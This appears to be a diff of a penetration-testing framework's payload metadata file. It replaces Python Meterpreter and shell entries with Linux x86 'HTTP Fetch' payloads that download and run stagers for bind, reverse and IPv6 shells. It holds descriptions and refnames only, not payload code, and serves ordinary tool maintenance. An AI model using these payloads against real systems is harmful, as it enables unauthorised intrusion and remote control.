+ "fullname": "payload/cmd/linux/http/x86/meterpreter/bind_ipv6_tcp_uuid",
"aliases": [
],
@@ -177382,34 +178989,44 @@
"disclosure_date": null,
"type": "payload",
"author": [
+ "Brendan Watters",
"Spencer McIntyre",
+ "William Webb ",
+ "kris katterjohn ",
+ "egypt ",
"OJ Reeves"
],
- "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nListen for a connection with UUID Support",
+ "description": "Fetch and execute a x86 payload from an HTTP server.\nListen for an IPv6 connection with UUID Support (Linux x86)",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux,Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
- "path": "/modules/payloads/adapters/cmd/unix/python.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/python/meterpreter/bind_tcp_uuid",
+ "ref_name": "cmd/linux/http/x86/meterpreter/bind_ipv6_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "linux/x86/meterpreter/bind_ipv6_tcp_uuid",
+ "staged": true,
+ "stage_refname": "linux/x86/meterpreter",
+ "stager_refname": "linux/x86/bind_ipv6_tcp_uuid"
},
- "payload_cmd/unix/python/meterpreter/reverse_http": {
- "name": "Python Exec, Python Meterpreter, Python Reverse HTTP Stager",
- "fullname": "payload/cmd/unix/python/meterpreter/reverse_http",
+ "payload_cmd/linux/http/x86/meterpreter/bind_nonx_tcp": {
+ "name": "HTTP Fetch, Bind TCP Stager",
+ "fullname": "payload/cmd/linux/http/x86/meterpreter/bind_nonx_tcp",
"aliases": [
],
@@ -177417,33 +179034,42 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "Spencer McIntyre"
+ "Brendan Watters",
+ "Spencer McIntyre",
+ "William Webb ",
+ "skape "
],
- "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nTunnel communication over HTTP",
+ "description": "Fetch and execute a x86 payload from an HTTP server.\nListen for a connection",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux,Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
- "path": "/modules/payloads/adapters/cmd/unix/python.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/python/meterpreter/reverse_http",
+ "ref_name": "cmd/linux/http/x86/meterpreter/bind_nonx_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "linux/x86/meterpreter/bind_nonx_tcp",
+ "staged": true,
+ "stage_refname": "linux/x86/meterpreter",
+ "stager_refname": "linux/x86/bind_nonx_tcp"
},
- "payload_cmd/unix/python/meterpreter/reverse_https": {
- "name": "Python Exec, Python Meterpreter, Python Reverse HTTPS Stager",
- "fullname": "payload/cmd/unix/python/meterpreter/reverse_https",
+ "payload_cmd/linux/http/x86/meterpreter/bind_tcp": {
+ "name": "HTTP Fetch, Bind TCP Stager (Linux x86)",
+ "fullname": "payload/cmd/linux/http/x86/meterpreter/bind_tcp",
"aliases": [
],
@@ -177451,33 +179077,43 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "Spencer McIntyre"
+ "Brendan Watters",
+ "Spencer McIntyre",
+ "William Webb ",
+ "skape ",
+ "egypt "
],
- "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nTunnel communication over HTTP using SSL",
+ "description": "Fetch and execute a x86 payload from an HTTP server.\nListen for a connection (Linux x86)",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux,Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
- "path": "/modules/payloads/adapters/cmd/unix/python.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/python/meterpreter/reverse_https",
+ "ref_name": "cmd/linux/http/x86/meterpreter/bind_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "linux/x86/meterpreter/bind_tcp",
+ "staged": true,
+ "stage_refname": "linux/x86/meterpreter",
+ "stager_refname": "linux/x86/bind_tcp"
},
- "payload_cmd/unix/python/meterpreter/reverse_tcp": {
- "name": "Python Exec, Python Meterpreter, Python Reverse TCP Stager",
- "fullname": "payload/cmd/unix/python/meterpreter/reverse_tcp",
+ "payload_cmd/linux/http/x86/meterpreter/bind_tcp_uuid": {
+ "name": "HTTP Fetch, Bind TCP Stager with UUID Support (Linux x86)",
+ "fullname": "payload/cmd/linux/http/x86/meterpreter/bind_tcp_uuid",
"aliases": [
],
@@ -177485,33 +179121,44 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "Spencer McIntyre"
+ "Brendan Watters",
+ "Spencer McIntyre",
+ "William Webb ",
+ "skape ",
+ "egypt ",
+ "OJ Reeves"
],
- "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nConnect back to the attacker",
+ "description": "Fetch and execute a x86 payload from an HTTP server.\nListen for a connection with UUID Support (Linux x86)",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux,Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
- "path": "/modules/payloads/adapters/cmd/unix/python.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/python/meterpreter/reverse_tcp",
+ "ref_name": "cmd/linux/http/x86/meterpreter/bind_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "linux/x86/meterpreter/bind_tcp_uuid",
+ "staged": true,
+ "stage_refname": "linux/x86/meterpreter",
+ "stager_refname": "linux/x86/bind_tcp_uuid"
},
- "payload_cmd/unix/python/meterpreter/reverse_tcp_ssl": {
- "name": "Python Exec, Python Meterpreter, Python Reverse TCP SSL Stager",
- "fullname": "payload/cmd/unix/python/meterpreter/reverse_tcp_ssl",
+ "payload_cmd/linux/http/x86/meterpreter/find_tag": {
+ "name": "HTTP Fetch, Find Tag Stager",
+ "fullname": "payload/cmd/linux/http/x86/meterpreter/find_tag",
"aliases": [
],
@@ -177519,35 +179166,42 @@
"disclosure_date": null,
"type": "payload",
"author": [
+ "Brendan Watters",
"Spencer McIntyre",
- "Ben Campbell ",
- "RageLtMan"
+ "William Webb ",
+ "skape "
],
- "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nReverse Python connect back stager using SSL",
+ "description": "Fetch and execute a x86 payload from an HTTP server.\nUse an established connection",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux,Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
- "path": "/modules/payloads/adapters/cmd/unix/python.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/python/meterpreter/reverse_tcp_ssl",
+ "ref_name": "cmd/linux/http/x86/meterpreter/find_tag",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "linux/x86/meterpreter/find_tag",
+ "staged": true,
+ "stage_refname": "linux/x86/meterpreter",
+ "stager_refname": "linux/x86/find_tag"
},
- "payload_cmd/unix/python/meterpreter/reverse_tcp_uuid": {
- "name": "Python Exec, Python Meterpreter, Python Reverse TCP Stager with UUID Support",
- "fullname": "payload/cmd/unix/python/meterpreter/reverse_tcp_uuid",
+ "payload_cmd/linux/http/x86/meterpreter/reverse_ipv6_tcp": {
+ "name": "HTTP Fetch, Reverse TCP Stager (IPv6)",
+ "fullname": "payload/cmd/linux/http/x86/meterpreter/reverse_ipv6_tcp",
"aliases": [
],
@@ -177555,34 +179209,42 @@
"disclosure_date": null,
"type": "payload",
"author": [
+ "Brendan Watters",
"Spencer McIntyre",
- "OJ Reeves"
+ "William Webb ",
+ "kris katterjohn "
],
- "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nConnect back to the attacker with UUID Support",
+ "description": "Fetch and execute a x86 payload from an HTTP server.\nConnect back to attacker over IPv6",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux,Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
- "path": "/modules/payloads/adapters/cmd/unix/python.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/python/meterpreter/reverse_tcp_uuid",
+ "ref_name": "cmd/linux/http/x86/meterpreter/reverse_ipv6_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "linux/x86/meterpreter/reverse_ipv6_tcp",
+ "staged": true,
+ "stage_refname": "linux/x86/meterpreter",
+ "stager_refname": "linux/x86/reverse_ipv6_tcp"
},
- "payload_cmd/unix/python/meterpreter_bind_tcp": {
- "name": "Python Exec, Python Meterpreter Shell, Bind TCP Inline",
- "fullname": "payload/cmd/unix/python/meterpreter_bind_tcp",
+ "payload_cmd/linux/http/x86/meterpreter/reverse_nonx_tcp": {
+ "name": "HTTP Fetch, Reverse TCP Stager",
+ "fullname": "payload/cmd/linux/http/x86/meterpreter/reverse_nonx_tcp",
"aliases": [
],
@@ -177590,33 +179252,42 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "Spencer McIntyre"
+ "Brendan Watters",
+ "Spencer McIntyre",
+ "William Webb ",
+ "skape "
],
- "description": "Execute a Python payload from a command.\n\nConnect to the victim and spawn a Meterpreter shell",
+ "description": "Fetch and execute a x86 payload from an HTTP server.\nConnect back to the attacker",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux,Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
- "path": "/modules/payloads/adapters/cmd/unix/python.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/python/meterpreter_bind_tcp",
+ "ref_name": "cmd/linux/http/x86/meterpreter/reverse_nonx_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "linux/x86/meterpreter/reverse_nonx_tcp",
+ "staged": true,
+ "stage_refname": "linux/x86/meterpreter",
+ "stager_refname": "linux/x86/reverse_nonx_tcp"
},
- "payload_cmd/unix/python/meterpreter_reverse_http": {
- "name": "Python Exec, Python Meterpreter Shell, Reverse HTTP Inline",
- "fullname": "payload/cmd/unix/python/meterpreter_reverse_http",
+ "payload_cmd/linux/http/x86/meterpreter/reverse_tcp": {
+ "name": "HTTP Fetch, Reverse TCP Stager",
+ "fullname": "payload/cmd/linux/http/x86/meterpreter/reverse_tcp",
"aliases": [
],
@@ -177624,33 +179295,44 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "Spencer McIntyre"
+ "Brendan Watters",
+ "Spencer McIntyre",
+ "William Webb ",
+ "skape ",
+ "egypt ",
+ "tkmru"
],
- "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell",
+ "description": "Fetch and execute a x86 payload from an HTTP server.\nConnect back to the attacker",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux,Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
- "path": "/modules/payloads/adapters/cmd/unix/python.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/python/meterpreter_reverse_http",
+ "ref_name": "cmd/linux/http/x86/meterpreter/reverse_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "linux/x86/meterpreter/reverse_tcp",
+ "staged": true,
+ "stage_refname": "linux/x86/meterpreter",
+ "stager_refname": "linux/x86/reverse_tcp"
},
- "payload_cmd/unix/python/meterpreter_reverse_https": {
- "name": "Python Exec, Python Meterpreter Shell, Reverse HTTPS Inline",
- "fullname": "payload/cmd/unix/python/meterpreter_reverse_https",
+ "payload_cmd/linux/http/x86/meterpreter/reverse_tcp_uuid": {
+ "name": "HTTP Fetch, Reverse TCP Stager",
+ "fullname": "payload/cmd/linux/http/x86/meterpreter/reverse_tcp_uuid",
"aliases": [
],
@@ -177658,33 +179340,44 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "Spencer McIntyre"
+ "Brendan Watters",
+ "Spencer McIntyre",
+ "William Webb ",
+ "skape ",
+ "egypt ",
+ "OJ Reeves"
],
- "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell",
+ "description": "Fetch and execute a x86 payload from an HTTP server.\nConnect back to the attacker",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux,Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
- "path": "/modules/payloads/adapters/cmd/unix/python.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/python/meterpreter_reverse_https",
+ "ref_name": "cmd/linux/http/x86/meterpreter/reverse_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "linux/x86/meterpreter/reverse_tcp_uuid",
+ "staged": true,
+ "stage_refname": "linux/x86/meterpreter",
+ "stager_refname": "linux/x86/reverse_tcp_uuid"
},
- "payload_cmd/unix/python/meterpreter_reverse_tcp": {
- "name": "Python Exec, Python Meterpreter Shell, Reverse TCP Inline",
- "fullname": "payload/cmd/unix/python/meterpreter_reverse_tcp",
+ "payload_cmd/linux/http/x86/meterpreter_reverse_http": {
+ "name": "HTTP Fetch",
+ "fullname": "payload/cmd/linux/http/x86/meterpreter_reverse_http",
"aliases": [
],
@@ -177692,33 +179385,41 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "Spencer McIntyre"
+ "Brendan Watters",
+ "Spencer McIntyre",
+ "Adam Cammack ",
+ "Brent Cook ",
+ "timwr"
],
- "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell",
+ "description": "Fetch and execute a x86 payload from an HTTP server.",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
- "path": "/modules/payloads/adapters/cmd/unix/python.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/python/meterpreter_reverse_tcp",
+ "ref_name": "cmd/linux/http/x86/meterpreter_reverse_http",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "linux/x86/meterpreter_reverse_http",
+ "staged": false
},
- "payload_cmd/unix/python/pingback_bind_tcp": {
- "name": "Python Exec, Python Pingback, Bind TCP (via python)",
- "fullname": "payload/cmd/unix/python/pingback_bind_tcp",
+ "payload_cmd/linux/http/x86/meterpreter_reverse_https": {
+ "name": "HTTP Fetch",
+ "fullname": "payload/cmd/linux/http/x86/meterpreter_reverse_https",
"aliases": [
],
@@ -177726,34 +179427,41 @@
"disclosure_date": null,
"type": "payload",
"author": [
+ "Brendan Watters",
"Spencer McIntyre",
- "asoto-r7"
+ "Adam Cammack ",
+ "Brent Cook ",
+ "timwr"
],
- "description": "Execute a Python payload from a command.\n\nListens for a connection from the attacker, sends a UUID, then terminates",
+ "description": "Fetch and execute a x86 payload from an HTTP server.",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
- "path": "/modules/payloads/adapters/cmd/unix/python.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/python/pingback_bind_tcp",
+ "ref_name": "cmd/linux/http/x86/meterpreter_reverse_https",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "linux/x86/meterpreter_reverse_https",
+ "staged": false
},
- "payload_cmd/unix/python/pingback_reverse_tcp": {
- "name": "Python Exec, Python Pingback, Reverse TCP (via python)",
- "fullname": "payload/cmd/unix/python/pingback_reverse_tcp",
+ "payload_cmd/linux/http/x86/meterpreter_reverse_tcp": {
+ "name": "HTTP Fetch",
+ "fullname": "payload/cmd/linux/http/x86/meterpreter_reverse_tcp",
"aliases": [
],
@@ -177761,34 +179469,41 @@
"disclosure_date": null,
"type": "payload",
"author": [
+ "Brendan Watters",
"Spencer McIntyre",
- "asoto-r7"
+ "Adam Cammack ",
+ "Brent Cook ",
+ "timwr"
],
- "description": "Execute a Python payload from a command.\n\nConnects back to the attacker, sends a UUID, then terminates",
+ "description": "Fetch and execute a x86 payload from an HTTP server.",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
- "path": "/modules/payloads/adapters/cmd/unix/python.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/python/pingback_reverse_tcp",
+ "ref_name": "cmd/linux/http/x86/meterpreter_reverse_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "linux/x86/meterpreter_reverse_tcp",
+ "staged": false
},
- "payload_cmd/unix/python/shell_bind_tcp": {
- "name": "Python Exec, Command Shell, Bind TCP (via python)",
- "fullname": "payload/cmd/unix/python/shell_bind_tcp",
+ "payload_cmd/linux/http/x86/metsvc_bind_tcp": {
+ "name": "HTTP Fetch, Linux Meterpreter Service, Bind TCP",
+ "fullname": "payload/cmd/linux/http/x86/metsvc_bind_tcp",
"aliases": [
],
@@ -177796,34 +179511,39 @@
"disclosure_date": null,
"type": "payload",
"author": [
+ "Brendan Watters",
"Spencer McIntyre",
- "mumbai"
+ "hdm "
],
- "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.",
+ "description": "Fetch and execute a x86 payload from an HTTP server.\nStub payload for interacting with a Meterpreter Service",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
- "path": "/modules/payloads/adapters/cmd/unix/python.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/python/shell_bind_tcp",
+ "ref_name": "cmd/linux/http/x86/metsvc_bind_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "linux/x86/metsvc_bind_tcp",
+ "staged": false
},
- "payload_cmd/unix/python/shell_reverse_sctp": {
- "name": "Python Exec, Command Shell, Reverse SCTP (via python)",
- "fullname": "payload/cmd/unix/python/shell_reverse_sctp",
+ "payload_cmd/linux/http/x86/metsvc_reverse_tcp": {
+ "name": "HTTP Fetch, Linux Meterpreter Service, Reverse TCP Inline",
+ "fullname": "payload/cmd/linux/http/x86/metsvc_reverse_tcp",
"aliases": [
],
@@ -177831,34 +179551,39 @@
"disclosure_date": null,
"type": "payload",
"author": [
+ "Brendan Watters",
"Spencer McIntyre",
- "RageLtMan "
+ "hdm "
],
- "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.",
+ "description": "Fetch and execute a x86 payload from an HTTP server.\nStub payload for interacting with a Meterpreter Service",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
- "path": "/modules/payloads/adapters/cmd/unix/python.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/python/shell_reverse_sctp",
+ "ref_name": "cmd/linux/http/x86/metsvc_reverse_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "linux/x86/metsvc_reverse_tcp",
+ "staged": false
},
- "payload_cmd/unix/python/shell_reverse_tcp": {
- "name": "Python Exec, Command Shell, Reverse TCP (via python)",
- "fullname": "payload/cmd/unix/python/shell_reverse_tcp",
+ "payload_cmd/linux/http/x86/read_file": {
+ "name": "HTTP Fetch, Linux Read File",
+ "fullname": "payload/cmd/linux/http/x86/read_file",
"aliases": [
],
@@ -177866,34 +179591,39 @@
"disclosure_date": null,
"type": "payload",
"author": [
+ "Brendan Watters",
"Spencer McIntyre",
- "Ben Campbell "
+ "hal"
],
- "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.",
+ "description": "Fetch and execute a x86 payload from an HTTP server.\nRead up to 4096 bytes from the local file system and write it back out to the specified file descriptor",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
- "path": "/modules/payloads/adapters/cmd/unix/python.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/python/shell_reverse_tcp",
+ "ref_name": "cmd/linux/http/x86/read_file",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "linux/x86/read_file",
+ "staged": false
},
- "payload_cmd/unix/python/shell_reverse_tcp_ssl": {
- "name": "Python Exec, Command Shell, Reverse TCP SSL (via python)",
- "fullname": "payload/cmd/unix/python/shell_reverse_tcp_ssl",
+ "payload_cmd/linux/http/x86/shell/bind_ipv6_tcp": {
+ "name": "HTTP Fetch, Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)",
+ "fullname": "payload/cmd/linux/http/x86/shell/bind_ipv6_tcp",
"aliases": [
],
@@ -177901,34 +179631,43 @@
"disclosure_date": null,
"type": "payload",
"author": [
+ "Brendan Watters",
"Spencer McIntyre",
- "RageLtMan "
+ "skape ",
+ "kris katterjohn ",
+ "egypt "
],
- "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, uses SSL, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.",
+ "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nListen for an IPv6 connection (Linux x86)",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
- "path": "/modules/payloads/adapters/cmd/unix/python.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/python/shell_reverse_tcp_ssl",
+ "ref_name": "cmd/linux/http/x86/shell/bind_ipv6_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "linux/x86/shell/bind_ipv6_tcp",
+ "staged": true,
+ "stage_refname": "linux/x86/shell",
+ "stager_refname": "linux/x86/bind_ipv6_tcp"
},
- "payload_cmd/unix/python/shell_reverse_udp": {
- "name": "Python Exec, Command Shell, Reverse UDP (via python)",
- "fullname": "payload/cmd/unix/python/shell_reverse_udp",
+ "payload_cmd/linux/http/x86/shell/bind_ipv6_tcp_uuid": {
+ "name": "HTTP Fetch, Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)",
+ "fullname": "payload/cmd/linux/http/x86/shell/bind_ipv6_tcp_uuid",
"aliases": [
],
@@ -177936,34 +179675,44 @@
"disclosure_date": null,
"type": "payload",
"author": [
+ "Brendan Watters",
"Spencer McIntyre",
- "RageLtMan "
+ "skape ",
+ "kris katterjohn ",
+ "egypt ",
+ "OJ Reeves"
],
- "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.",
+ "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nListen for an IPv6 connection with UUID Support (Linux x86)",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
- "path": "/modules/payloads/adapters/cmd/unix/python.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/python/shell_reverse_udp",
+ "ref_name": "cmd/linux/http/x86/shell/bind_ipv6_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "linux/x86/shell/bind_ipv6_tcp_uuid",
+ "staged": true,
+ "stage_refname": "linux/x86/shell",
+ "stager_refname": "linux/x86/bind_ipv6_tcp_uuid"
},
- "payload_cmd/unix/reverse": {
- "name": "Unix Command Shell, Double Reverse TCP (telnet)",
- "fullname": "payload/cmd/unix/reverse",
+ "payload_cmd/linux/http/x86/shell/bind_nonx_tcp": {
+ "name": "HTTP Fetch, Linux Command Shell, Bind TCP Stager",
+ "fullname": "payload/cmd/linux/http/x86/shell/bind_nonx_tcp",
"aliases": [
],
@@ -177971,33 +179720,41 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "hdm "
+ "Brendan Watters",
+ "Spencer McIntyre",
+ "skape "
],
- "description": "Creates an interactive shell through two inbound connections",
